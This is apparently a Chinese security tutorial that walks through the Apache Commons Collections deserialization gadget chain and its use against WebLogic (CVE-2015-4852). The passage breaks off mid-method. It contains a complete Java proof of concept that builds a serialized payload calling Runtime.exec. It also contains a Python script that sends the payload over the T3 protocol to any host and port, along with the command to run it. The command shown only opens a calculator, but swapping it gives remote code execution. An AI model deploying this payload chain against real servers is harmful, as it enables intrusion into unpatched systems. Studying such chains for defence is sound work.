[{"content":"前面我们了解了java的序列化机制，也初步接触了利用链的概念，为了加深对反序列化漏洞的理解，这里来复现一条存在于 apache commons-collections.jar 中的pop链，要知道这个类库使用广泛，所以很多大型的应用也存在着这个漏洞，这里就以 Weblogic CVE-2015-4852 来说说反序列化漏洞的具体利用方法。\n漏洞利用成功条件 payload：需要让服务端执行的语句：比如说弹计算器还是执行远程访问等； 反序列化利用链：服务端中存在的反序列化利用链，会一层层剥开我们的exp，最后执行payload。(在此篇中就是cc利用链) readObject() 函数的覆写利用点：服务端中存在可以与我们漏洞链相接并且可以从外部访问的 readObject() 函数覆写点； 攻击流程 客户端构造payload，并进行一层层的封装，完成最后的exp； exp发送到服务端，进入一个服务端自主覆写(也可能是也有组件覆写)的readObject()函数，它会反序列化恢复我们构造的exp去形成一个恶意类exp_1； 这个恶意类exp_1在接下来的处理流程，会执行exp_1中的一个方法，在方法中会对exp_1的内容进行函数处理，从而一层层地解析exp_1变成exp_2、exp_3等； 最后在一个可执行任意命令的函数中执行payload，完成远程代码执行。 环境准备 jdk1.7 IntelliJ IDEA Weblogic-10.3.6 commons-collections-3.1.jar Note Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构，可以加速大多数重要Java应用程序的开发。从那时起，它已经成为Java中公认的集合处理标准。\nPoC代码 package Step3; import java.io.File; import java.io.FileInputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.nio.file.Files; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class PoC1 { public static Object GeneratePayload() throws Exception { Transformer transformerChain = getTransformer(); Map innermap = new HashMap(); innermap.put(\u0026quot;value\u0026quot;, \u0026quot;re111\u0026quot;); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Class cls = Class.forName(\u0026quot;sun.reflect.annotation.AnnotationInvocationHandler\u0026quot;); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); //通过setAccessible(true)的方式关闭安全检查 return ctor.newInstance(Retention.class, outmap); } private static Transformer getTransformer() { final Transformer[] transforms = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(\u0026quot;getMethod\u0026quot;, new Class[]{String.class, Class[].class}, new Object[]{\u0026quot;getRuntime\u0026quot;, new Class[0]}), new InvokerTransformer(\u0026quot;invoke\u0026quot;, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(\u0026quot;exec\u0026quot;, new Class[]{String.class}, new String[]{\u0026quot;galculator\u0026quot;}), new ConstantTransformer(1) }; return new ChainedTransformer(transforms); } public static void main(String[] args) throws Exception { String fileName = \u0026quot;./payload.bin\u0026quot;; GeneratePayloadFile(GeneratePayload(), fileName); TriggerPayload(fileName); } public static void GeneratePayloadFile(Object instance, String file) throws Exception { File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(f.toPath())); out.writeObject(instance); out.flush(); out.close(); } public static void TriggerPayload(String file) throws Exception { ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); in.readObject(); in.close(); } } 如果出现很多包缺失的报错，则需要导入 commons-collections-3.1.jar 包\nIDEA菜单栏-\u0026gt;文件-\u0026gt;项目结构-\u0026gt;库-\u0026gt;添加-\u0026gt;按路径添加jar包即可\nTransformer 链构造 Commons Collections实现了一个TransformedMap类，该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时，自动对该元素进行特定的修饰变换，具体的变换逻辑由Transformer类定义，Transformer在TransformedMap实例化时作为参数传入。\norg.apache.commons.collections.Transformer 这个接口可以满足固定的类型转化需求，我们的漏洞利用就是在于这个点。\n我们在使用 Apache Commons Collections 库进行 Gadget 构造时主要利用的就是这个 transformer 接口，它只有一个待实现的方法 transform()。\npackage org.apache.commons.collections; public interface Transformer { Object transform(Object var1); } 主要用于将一个对象通过 transform 方法转换为另一个对象，在库中众多对象转换的接口中存在一个 Invoker 类型的转换接口 InvokerTransformer，并且同时还实现了 Serializable 接口。\npublic class InvokerTransformer implements Transformer, Serializable { static final long serialVersionUID = -8653385846894047688L; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException(\u0026quot;InvokerTransformer: The method '\u0026quot; + this.iMethodName + \u0026quot;' on '\u0026quot; + input.getClass() + \u0026quot;' does not exist\u0026quot;); } catch (IllegalAccessException var6) { throw new FunctorException(\u0026quot;InvokerTransformer: The method '\u0026quot; + this.iMethodName + \u0026quot;' on '\u0026quot; + input.getClass() + \u0026quot;' cannot be accessed\u0026quot;); } catch (InvocationTargetException var7) { throw new FunctorException(\u0026quot;InvokerTransformer: The method '\u0026quot; + this.iMethodName + \u0026quot;' on '\u0026quot; + input.getClass() + \u0026quot;' threw an exception\u0026quot;, var7); } } } } 可以看到 InvokerTransformer 类中实现的 transform() 接口使用 Java 反射机制获取反射对象 input 中的参数类型为 iParamTypes 的方法 iMethodName，然后使用对应参数 iArgs 调用获取的方法，并将执行结果返回。由于其实现了 Serializable 接口，因此其中的三个必要参数 iMethodName、iParamTypes 和 iArgs 都是可以通过序列化直接构造的，为命令执行创造了条件，但是只有这里的话显然并不能RCE。\n继续看 ChainedTransformer\npublic class ChainedTransformer implements Transformer, Serializable { static final long serialVersionUID = 3514945074733160196L; private final Transformer[] iTransformers; ... public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i \u0026lt; this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; } } 这里可以看出来是挨个遍历 transformer，调用ChainedTransformer 的 transform 方法然后返回object，返回的object继续进入循环，成为下一次调用的参数，所以我们可以通过这里来执行命令。\nprivate static Transformer getTransformer() { final Transformer[] transforms = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(\u0026quot;getMethod\u0026quot;, new Class[]{String.class, Class[].class}, new Object[]{\u0026quot;getRuntime\u0026quot;, new Class[0]}), new InvokerTransformer(\u0026quot;invoke\u0026quot;, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(\u0026quot;exec\u0026quot;, new Class[]{String.class}, new String[]{\u0026quot;galculator\u0026quot;}), new ConstantTransformer(1) }; return new ChainedTransformer(transforms); } 这一链条构成了核心 payload 的代码执行链，每一步的具体含义。\n步骤 说明 ConstantTransformer(Runtime.class) 初始返回 java.lang.Runtime.class getMethod(\u0026quot;getRuntime\u0026quot;, ...) 调用反射获取 Runtime.getRuntime() 方法对象 invoke(null, new Object[0]) 执行 getRuntime() 方法，返回 Runtime.getRuntime() 实例 exec(\u0026quot;galculator\u0026quot;) 执行命令 galculator（Linux 图形计算器） ConstantTransformer(1) 后续调用无害的返回值，掩盖攻击目的 Tip 环境中不可能直接存在 Runtime.class，所以我们通过构造来产生。\nConstantTransformer 类初始化传入 this.iConstant 参数直接return，相当于this的作用。\npublic class ConstantTransformer implements Transformer, Serializable { static final long serialVersionUID = 6374440726369055124L; public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object) null); private final Object iConstant; public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; } } 向 ChainedTransformer 传入 transformers\npublic ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } 然后构造的命令参数传入 InvokerTransformer\npublic InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } 这里都会赋值,然后就会调用到\npublic Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException(\u0026quot;InvokerTransformer: The method '\u0026quot; + this.iMethodName + \u0026quot;' on '\u0026quot; + input.getClass() + \u0026quot;' does not exist\u0026quot;); } catch (IllegalAccessException var6) { throw new FunctorException(\u0026quot;InvokerTransformer: The method '\u0026quot; + this.iMethodName + \u0026quot;' on '\u0026quot; + input.getClass() + \u0026quot;' cannot be accessed\u0026quot;); } catch (InvocationTargetException var7) { throw new FunctorException(\u0026quot;InvokerTransformer: The method '\u0026quot; + this.iMethodName + \u0026quot;' on '\u0026quot; + input.getClass() + \u0026quot;' threw an exception\u0026quot;, var7); } } } 经过反射达成如下效果，这条语句就是我们想要构建的核心 payload\nClass.forName(\u0026quot;java.lang.Runtime\u0026quot;).getMethod(\u0026quot;getRuntime\u0026quot;).invoke(Class.forName(\u0026quot;java.lang.Runtime\u0026quot;)).exec(\u0026quot;galculator\u0026quot;); Tip 执行 Class.forName(\u0026quot;java.lang.Runtime\u0026quot;).getMethod(\u0026quot;getRuntime\u0026quot;) 这部分语句，\n也就是执行Runtime.class.getMethod(\u0026quot;getRuntime\u0026quot;)，获得Runtime的getRuntime方法定义。\n由于上述是静态方法，所以invoke(Class.forName(\u0026quot;java.lang.Runtime\u0026quot;))也可以写成invoke(null)，执行上述方法得到一个实例，然后用这个实例调用exec(\u0026ldquo;galculator\u0026rdquo;)弹出计算器\n封装成Map 要想实现RCE还需要一个入口点，使得应用在反序列化的时候能够通过一条调用链来触发 InvokerTransformer 中的 transform() 方法，有两个类中使用了可疑的 transform() 方法： LazyMap 和 TransformedMap。\nTransformedMap 中一共有三处函数使用了transform方法\n当然，光是使用了transform这个方法还不行，我们还需要确认是使用了ChainedTransformer.transform()，我们看一下 this.valueTransformer 的类型\n可以看到 this.valueTransformer 的类型是Transformer，所以在构造poc的时候只需要将他的值赋为我们精心构造的 ChainedTransformer 就行，这里只要 valueTransformer 可控即可利用上面的调用链\nprotected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } 当我们初始化的时候是可以控制的，怎么触发呢\ncheckSetValue() 方法可以办到这一点，它会将我们传入的value对象使用 transform() 方法进行处理\nprotected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); } Caution 错误：当进入 put 方法的时候会触发valueTransformer的构造方法，也可以调用 transform() 方法\nprotected Object transformValue(Object object) { return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } 正确流程：我们构造的 TransformedMap 在 AnnotationInvocationHandler.readObject() 反序列化中对 Map.Entry.setValue() （或者说是内部类 TransformedMap$TransformedEntry 的setValue()方法，这个内部类的具体代码可以到transformedMap 的父类 AbstractInputCheckedMapDecorator 中寻找）进行了调用，这个set方法又调用了 transformedMap 的 checkSetValue() 方法，这个方法调用了关键的transform方法，然后打通了链子。\n根据上面的调用链我们的 value 位置可以设定为任意值，因为反序列化过程中会触发 .setValue(...)，而不是读取初始的值。\n现在的poc可以用TransformedMap的三个方法 transformKey 、transformValue 、checkSetValue 触发transform方法，但是这三个方法的访问权限都是protected，也就是不能直接被外部访问。\n迂回一下，TransformedMap类中一共有三个方法访问权限是public\npublic static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } public Object put(Object key, Object value) { key = this.transformKey(key); value = this.transformValue(value); return this.getMap().put(key, value); } public void putAll(Map mapToCopy) { mapToCopy = this.transformMap(mapToCopy); this.getMap().putAll(mapToCopy); } 可以看到put方法调用了transformKey以及transformValue,这两个方法又都调用了transform方法，所以我们可以通过调用修饰函数实例化一个TransforomedMap对象，然后调用对象的put方法将我们构造的链子传入，从而执行任意命令。\nMap innermap = new HashMap(); innermap.put(\u0026quot;value\u0026quot;, \u0026quot;re111\u0026quot;); Map outmap = TransformedMap.decorate(innermap, null, transformerChain); 这样我们即可进行命令执行。\n反序列化操作触发函数 jdk1.7-AnnotationInvocationHandler\n但是在现实场景中，并没有人帮我们执行这个函数。所以我们现在要开始寻找，有没有哪个类，在它的 readObject() 逻辑中会触发这个动作（给Map新增元素）。\n这个类就是 sun.reflect.annotation.AnnotationInvocationHandler，这是⼀个java的原生类。\n这个函数在jdk1.7中，这也是为什么要求jdk1.7环境，高版本jdk不支持的原因在后面解答。\n反编译的代码，看起来有点别扭。而且因为我本机是jdk1.8，所以这个类并不是我们真正想要的。\n给大家推荐一个好的方式，就是去github上看，openjdk是开源的。github上还有版本管理， 然后再给大家推荐一个网站，github1s，可以在线用vscode\nhttps://github1s.com/openjdk/jdk/blob/jdk8-b40/jdk/src/share/classes/sun/reflect/annotation/AnnotationInvocationHan 我们先看这个类的构造函数\nAnnotationInvocationHandler(Class\u0026lt;? extends Annotation\u0026gt; type, Map\u0026lt;String, Object\u0026gt; memberValues) { this.type = type; this.memberValues = memberValues; } 我们看到，它可以接受一个Map来作为参数。\n然后我们再看它的 readObject() 做了什么\nprivate void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map\u0026lt;String, Class\u0026lt;?\u0026gt;\u0026gt; memberTypes = annotationType.memberTypes(); for (Map.Entry\u0026lt;String, Object\u0026gt; memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class\u0026lt;?\u0026gt; memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + \u0026quot;[\u0026quot; + value + \u0026quot;]\u0026quot;).setMember( annotationType.members().get(name))); } } } } 将 memberValues 转化成一个set，然后再迭代一下就又取出了一个Map叫做 memberValue。 我们只要将这个 memberValue 设置为我们构造的一个 TransformedMap 对象，然后当它在后面执行 memberValue.setValue 时，就会触发我们注册的 Transformer，进而执行我们为其精心设计的任意代码。\n内部类的调用 当我们想要直接new一个 sun.reflect.annotation.AnnotationInvocationHandler 对象时，发现了问题，因为这是一个内部类，导致我们无法直接访问，这个时候怎么办，还是用反射。\nMap innermap = new HashMap(); innermap.put(\u0026quot;value\u0026quot;, \u0026quot;re111\u0026quot;); // key是\u0026quot;value\u0026quot;，这是注解方法名 Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Class cls = Class.forName(\u0026quot;sun.reflect.annotation.AnnotationInvocationHandler\u0026quot;); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true);//通过setAccessible(true)的方式关闭安全检查 return ctor.newInstance(Retention.class, outmap); innermap.put 固定key值 这里明确需要明确一点\ntype = Retention.class memberValues = transformerdMap 我们的目的是触发对Map的写入操作，所以我们的目标是触发 memberValue.setValue 这条逻辑。所以此时，如果memberValues是一个空的map，那么这个for的遍历就不会执行，所以我们需要预先给Map进行值的插入。\n但是要插入什么呢？\nString name = memberValue.getKey(); //Map可控，所以key可控 Class\u0026lt;?\u0026gt; memberType = memberTypes.get(name); if (memberType != null) { //!要求在memberType中也有这个key ... } 所以我们要了解 memberTypes 是怎么来的\nAnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map\u0026lt;String, Class\u0026lt;?\u0026gt;\u0026gt; memberTypes = annotationType.memberTypes(); 查看 AnnotationType.class\npublic class AnnotationType { /* ... ... ... */ public static synchronized AnnotationType getInstance( Class\u0026lt;? extends Annotation\u0026gt; annotationClass) { AnnotationType result = sun.misc.SharedSecrets.getJavaLangAccess(). getAnnotationType(annotationClass); if (result == null) result = new AnnotationType((Class\u0026lt;? extends Annotation\u0026gt;) annotationClass); return result; } private AnnotationType(final Class\u0026lt;? extends Annotation\u0026gt; annotationClass) { if (!annotationClass.isAnnotation()) throw new IllegalArgumentException(\u0026quot;Not an annotation type\u0026quot;); Method[] methods = AccessController.doPrivileged(new PrivilegedAction\u0026lt;Method[]\u0026gt;() { public Method[] run() { // Initialize memberTypes and defaultValues return annotationClass.getDeclaredMethods(); } }); for (Method method : methods) { if (method.getParameterTypes().length != 0) throw new IllegalArgumentException(method + \u0026quot; has params\u0026quot;); String name = method.getName(); Class\u0026lt;?\u0026gt; type = method.getReturnType(); memberTypes.put(name, invocationHandlerReturnType(type)); members.put(name, method); Object defaultValue = method.getDefaultValue(); if (defaultValue != null) memberDefaults.put(name, defaultValue); members.put(name, method); } sun.misc.SharedSecrets.getJavaLangAccess(). setAnnotationType(annotationClass, this); // Initialize retention, \u0026amp; inherited fields. Special treatment // of the corresponding annotation types breaks infinite recursion. if (annotationClass != Retention.class \u0026amp;\u0026amp; annotationClass != Inherited.class) { Retention ret = annotationClass.getAnnotation(Retention.class); retention = (ret == null ? RetentionPolicy.CLASS : ret.value()); inherited = annotationClass.isAnnotationPresent(Inherited.class); } } /* ... ... ... */ } 注意到这里有一句\nif (!annotationClass.isAnnotation()) throw new IllegalArgumentException(\u0026quot;Not an annotation type\u0026quot;); 就是检查输入的参数是不是一个注解类，如果不是就会报错。\n所以这里要求第一个参数必须是一个注解类。然后\nMethod[] methods = AccessController.doPrivileged(new PrivilegedAction\u0026lt;Method[]\u0026gt;() { public Method[] run() { // Initialize memberTypes and defaultValues return annotationClass.getDeclaredMethods(); } }); for (Method method : methods) { if (method.getParameterTypes().length != 0) throw new IllegalArgumentException(method + \u0026quot; has params\u0026quot;); String name = method.getName(); Class\u0026lt;?\u0026gt; type = method.getReturnType(); memberTypes.put(name, invocationHandlerReturnType(type)); 这里会通过反射的方式，获取该注解类所有的方法，然后再将所有的方法名塞给memberTypes这个Map\n而我们这里要获取的就是memberTypes\n所以我们的需求就变成了，对于 sun.reflect.annotation.AnnotationInvocationHandler 这个类的构造函数\nAnnotationInvocationHandler(Class\u0026lt;? extends Annotation\u0026gt; type, Map\u0026lt;String, Object\u0026gt; memberValues) { this.type = type; this.memberValues = memberValues; } 需要找到一个参数type，满足\nTip 是一个类对象 该类是一个注解类 该类至少存在一个方法(记作 methodData) 然后我们控制参数 memberValues，让它满足\n存在一个键值对，其 key 等于 methodData\n我们找到了 Retention 类，它是一个注解类，有一个方法叫做 value\n符合要求的类还有很多，比如 Repeatable、Target 等等。\nt3协议发送payload弹计算器 #!/usr/bin/python3 import socket import sys import struct sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (sys.argv[1], int(sys.argv[2])) print('connecting to %s port %s' % server_address) sock.connect(server_address) # Send headers headers = 't3 12.2.1\\nAS:255\\nHL:19\\nMS:10000000\\nPU:t3://us-l-breens:7001\\n\\n' print('sending \u0026quot;%s\u0026quot;' % headers) sock.sendall(headers.encode()) data = sock.recv(1024) print('received \u0026quot;%s\u0026quot;' % data.decode(), file=sys.stderr) payloadObj = open(sys.argv[3], 'rb').read() payload = b'\\x00\\x00\\x09\\xf3\\x01\\x65\\x01\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x71\\x00\\x00\\xea\\x60\\x00\\x00\\x00\\x18\\x43\\x2e\\xc6\\xa2\\xa6\\x39\\x85\\xb5\\xaf\\x7d\\x63\\xe6\\x43\\x83\\xf4\\x2a\\x6d\\x92\\xc9\\xe9\\xaf\\x0f\\x94\\x72\\x02\\x79\\x73\\x72\\x00\\x78\\x72\\x01\\x78\\x72\\x02\\x78\\x70\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x70\\x70\\x70\\x70\\x70\\x70\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x70\\x06\\xfe\\x01\\x00\\x00\\xac\\xed\\x00\\x05\\x73\\x72\\x00\\x1d\\x77\\x65\\x62\\x6c\\x6f\\x67\\x69\\x63\\x2e\\x72\\x6a\\x76\\x6d\\x2e\\x43\\x6c\\x61\\x73\\x73\\x54\\x61\\x62\\x6c\\x65\\x45\\x6e\\x74\\x72\\x79\\x2f\\x52\\x65\\x81\\x57\\xf4\\xf9\\xed\\x0c\\x00\\x00\\x78\\x70\\x72\\x00\\x24\\x77\\x65\\x62\\x6c\\x6f\\x67\\x69\\x63\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\\x2e\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2e\\x50\\x61\\x63\\x6b\\x61\\x67\\x65\\x49\\x6e\\x66\\x6f\\xe6\\xf7\\x23\\xe7\\xb8\\xae\\x1e\\xc9\\x02\\x00\\x09\\x49\\x00\\x05\\x6d\\x61\\x6a\\x6f\\x72\\x49\\x00\\x05\\x6d\\x69\\x6e\\x6f\\x72\\x49\\x00\\x0b\\x70\\x61\\x74\\x63\\x68\\x55\\x70\\x64\\x61\\x74\\x65\\x49\\x00\\x0c\\x72\\x6f\\x6c\\x6c\\x69\\x6e\\x67\\x50\\x61\\x74\\x63\\x68\\x49\\x00\\x0b\\x73\\x65\\x72\\x76\\x69\\x63\\x65\\x50\\x61\\x63\\x6b\\x5a\\x00\\x0e\\x74\\x65\\x6d\\x70\\x6f\\x72\\x61\\x72\\x79\\x50\\x61\\x74\\x63\\x68\\x4c\\x00\\x09\\x69\\x6d\\x70\\x6c\\x54\\x69\\x74\\x6c\\x65\\x74\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x4c\\x00\\x0a\\x69\\x6d\\x70\\x6c\\x56\\x65\\x6e\\x64\\x6f\\x72\\x71\\x00\\x7e\\x00\\x03\\x4c\\x00\\x0b\\x69\\x6d\\x70\\x6c\\x56\\x65\\x72\\x73\\x69\\x6f\\x6e\\x71\\x00\\x7e\\x00\\x03\\x78\\x70\\x77\\x02\\x00\\x00\\x78\\xfe\\x01\\x00\\x00' payload = payload + payloadObj payload = payload + b'\\xfe\\x01\\x00\\x00\\xac\\xed\\x00\\x05\\x73\\x72\\x00\\x1d\\x77\\x65\\x62\\x6c\\x6f\\x67\\x69\\x63\\x2e\\x72\\x6a\\x76\\x6d\\x2e\\x43\\x6c\\x61\\x73\\x73\\x54\\x61\\x62\\x6c\\x65\\x45\\x6e\\x74\\x72\\x79\\x2f\\x52\\x65\\x81\\x57\\xf4\\xf9\\xed\\x0c\\x00\\x00\\x78\\x70\\x72\\x00\\x21\\x77\\x65\\x62\\x6c\\x6f\\x67\\x69\\x63\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\\x2e\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2e\\x50\\x65\\x65\\x72\\x49\\x6e\\x66\\x6f\\x58\\x54\\x74\\xf3\\x9b\\xc9\\x08\\xf1\\x02\\x00\\x07\\x49\\x00\\x05\\x6d\\x61\\x6a\\x6f\\x72\\x49\\x00\\x05\\x6d\\x69\\x6e\\x6f\\x72\\x49\\x00\\x0b\\x70\\x61\\x74\\x63\\x68\\x55\\x70\\x64\\x61\\x74\\x65\\x49\\x00\\x0c\\x72\\x6f\\x6c\\x6c\\x69\\x6e\\x67\\x50\\x61\\x74\\x63\\x68\\x49\\x00\\x0b\\x73\\x65\\x72\\x76\\x69\\x63\\x65\\x50\\x61\\x63\\x6b\\x5a\\x00\\x0e\\x74\\x65\\x6d\\x70\\x6f\\x72\\x61\\x72\\x79\\x50\\x61\\x74\\x63\\x68\\x5b\\x00\\x08\\x70\\x61\\x63\\x6b\\x61\\x67\\x65\\x73\\x74\\x00\\x27\\x5b\\x4c\\x77\\x65\\x62\\x6c\\x6f\\x67\\x69\\x63\\x2f\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x50\\x61\\x63\\x6b\\x61\\x67\\x65\\x49\\x6e\\x66\\x6f\\x3b\\x78\\x72\\x00\\x24\\x77\\x65\\x62\\x6c\\x6f\\x67\\x69\\x63\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\\x2e\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2e\\x56\\x65\\x72\\x73\\x69\\x6f\\x6e\\x49\\x6e\\x66\\x6f\\x97\\x22\\x45\\x51\\x64\\x52\\x46\\x3e\\x02\\x00\\x03\\x5b\\x00\\x08\\x70\\x61\\x63\\x6b\\x61\\x67\\x65\\x73\\x71\\x00\\x7e\\x00\\x03\\x4c\\x00\\x0e\\x72\\x65\\x6c\\x65\\x61\\x73\\x65\\x56\\x65\\x72\\x73\\x69\\x6f\\x6e\\x74\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x5b\\x00\\x12\\x76\\x65\\x72\\x73\\x69\\x6f\\x6e\\x49\\x6e\\x66\\x6f\\x41\\x73\\x42\\x79\\x74\\x65\\x73\\x74\\x00\\x02\\x5b\\x42\\x78\\x72\\x00\\x24\\x77\\x65\\x62\\x6c\\x6f\\x67\\x69\\x63\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\\x2e\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2e\\x50\\x61\\x63\\x6b\\x61\\x67\\x65\\x49\\x6e\\x66\\x6f\\xe6\\xf7\\x23\\xe7\\xb8\\xae\\x1e\\xc9\\x02\\x00\\x09\\x49\\x00\\x05\\x6d\\x61\\x6a\\x6f\\x72\\x49\\x00\\x05\\x6d\\x69\\x6e\\x6f\\x72\\x49\\x00\\x0b\\x70\\x61\\x74\\x63\\x68\\x55\\x70\\x64\\x61\\x74\\x65\\x49\\x00\\x0c\\x72\\x6f\\x6c\\x6c\\x69\\x6e\\x67\\x50\\x61\\x74\\x63\\x68\\x49\\x00\\x0b\\x73\\x65\\x72\\x76\\x69\\x63\\x65\\x50\\x61\\x63\\x6b\\x5a\\x00\\x0e\\x74\\x65\\x6d\\x70\\x6f\\x72\\x61\\x72\\x79\\x50\\x61\\x74\\x63\\x68\\x4c\\x00\\x09\\x69\\x6d\\x70\\x6c\\x54\\x69\\x74\\x6c\\x65\\x71\\x00\\x7e\\x00\\x05\\x4c\\x00\\x0a\\x69\\x6d\\x70\\x6c\\x56\\x65\\x6e\\x64\\x6f\\x72\\x71\\x00\\x7e\\x00\\x05\\x4c\\x00\\x0b\\x69\\x6d\\x70\\x6c\\x56\\x65\\x72\\x73\\x69\\x6f\\x6e\\x71\\x00\\x7e\\x00\\x05\\x78\\x70\\x77\\x02\\x00\\x00\\x78\\xfe\\x00\\xff\\xfe\\x01\\x00\\x00\\xac\\xed\\x00\\x05\\x73\\x72\\x00\\x13\\x77\\x65\\x62\\x6c\\x6f\\x67\\x69\\x63\\x2e\\x72\\x6a\\x76\\x6d\\x2e\\x4a\\x56\\x4d\\x49\\x44\\xdc\\x49\\xc2\\x3e\\xde\\x12\\x1e\\x2a\\x0c\\x00\\x00\\x78\\x70\\x77\\x46\\x21\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x31\\x32\\x37\\x2e\\x30\\x2e\\x31\\x2e\\x31\\x00\\x0b\\x75\\x73\\x2d\\x6c\\x2d\\x62\\x72\\x65\\x65\\x6e\\x73\\xa5\\x3c\\xaf\\xf1\\x00\\x00\\x00\\x07\\x00\\x00\\x1b\\x59\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x78\\xfe\\x01\\x00\\x00\\xac\\xed\\x00\\x05\\x73\\x72\\x00\\x13\\x77\\x65\\x62\\x6c\\x6f\\x67\\x69\\x63\\x2e\\x72\\x6a\\x76\\x6d\\x2e\\x4a\\x56\\x4d\\x49\\x44\\xdc\\x49\\xc2\\x3e\\xde\\x12\\x1e\\x2a\\x0c\\x00\\x00\\x78\\x70\\x77\\x1d\\x01\\x81\\x40\\x12\\x81\\x34\\xbf\\x42\\x76\\x00\\x09\\x31\\x32\\x37\\x2e\\x30\\x2e\\x31\\x2e\\x31\\xa5\\x3c\\xaf\\xf1\\x00\\x00\\x00\\x00\\x00\\x78' # adjust header for appropriate message length payload = struct.pack('!i', len(payload)) + payload[4:] print('sending payload...') sock.send(payload) 执行命令\npython weblogic-t3-p3.py \u0026lt;ip\u0026gt; \u0026lt;port\u0026gt; \u0026lt;payloadFile\u0026gt; 调试分析验证 在 AnnotationInvocationHandler 类中 readObject() 方法下断点调试。\n调用链\nGadget chain: ObjectInputStream.readObject() └── AnnotationInvocationHandler.readObject() └── AbstractInputCheckedMapDecorator$MapEntry.setValue() └── TransformedMap.checkSetValue() └── ChainedTransformer.transform() ├── ConstantTransformer.transform() ├── InvokerTransformer.transform() └── Method.invoke() → Class.getMethod() ├── InvokerTransformer.transform() └── Method.invoke() → Runtime.getRuntime() └── InvokerTransformer.transform() └── Method.invoke() → Runtime.exec() Requires: commons-collections \u0026lt;= 3.2.1 readObject()走到setValue() 下面是之前谈到的 readObject() 方法反编译的代码，我们用这个再进行一次分析\nprivate void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { 